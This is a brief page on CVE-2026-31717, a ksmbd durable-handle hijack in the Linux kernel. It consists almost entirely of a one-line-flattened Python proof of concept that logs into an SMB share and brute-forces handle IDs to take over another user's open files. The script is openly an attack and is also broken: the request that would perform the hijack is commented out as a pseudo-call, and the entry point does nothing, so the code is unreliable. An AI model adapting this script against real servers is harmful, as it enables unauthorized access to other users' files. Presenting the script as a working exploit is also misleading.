CVE-2026-31717 Linux内核ksmbd持久句柄劫持漏洞

import socket from impacket import smb # Proof of Concept for CVE-2026-31717 # This script attempts to reconnect to a durable handle by brute-forcing the ID. # Note: This is a conceptual demonstration to show the lack of owner validation. def brute_force_durable_handle(target, share, username, password, domain=''): print(f"[*] Targeting {target}...") # Establish a SMB connection client = smb.SMB(target, target) try: client.login(username, password, domain) print("[+] Login successful") # Try to reconnect using a predicted/durable handle ID range # In a real scenario, the attacker would guess the FileID or DurableHandle for file_id in range(1, 1000): try: # Attempting to open the file using the durable handle reconnect (DHnC) # The vulnerability is that ksmbd does not check if the current user # matches the original owner of this handle. tid = client.connect_tree(share) # This is a pseudo-call representing the SMB2_CREATE request with DHnC # If successful, we have hijacked the handle. print(f"[!] Trying Handle ID: {file_id}") # client.create(tid, file_id, ...) # If no exception is raised, the hijack is successful. except Exception as e: continue except Exception as e: print(f"[-] Error: {e}") finally: client.disconnect() if __name__ == "__main__": # Usage: python poc.py <target_ip> <share> <user> <pass> pass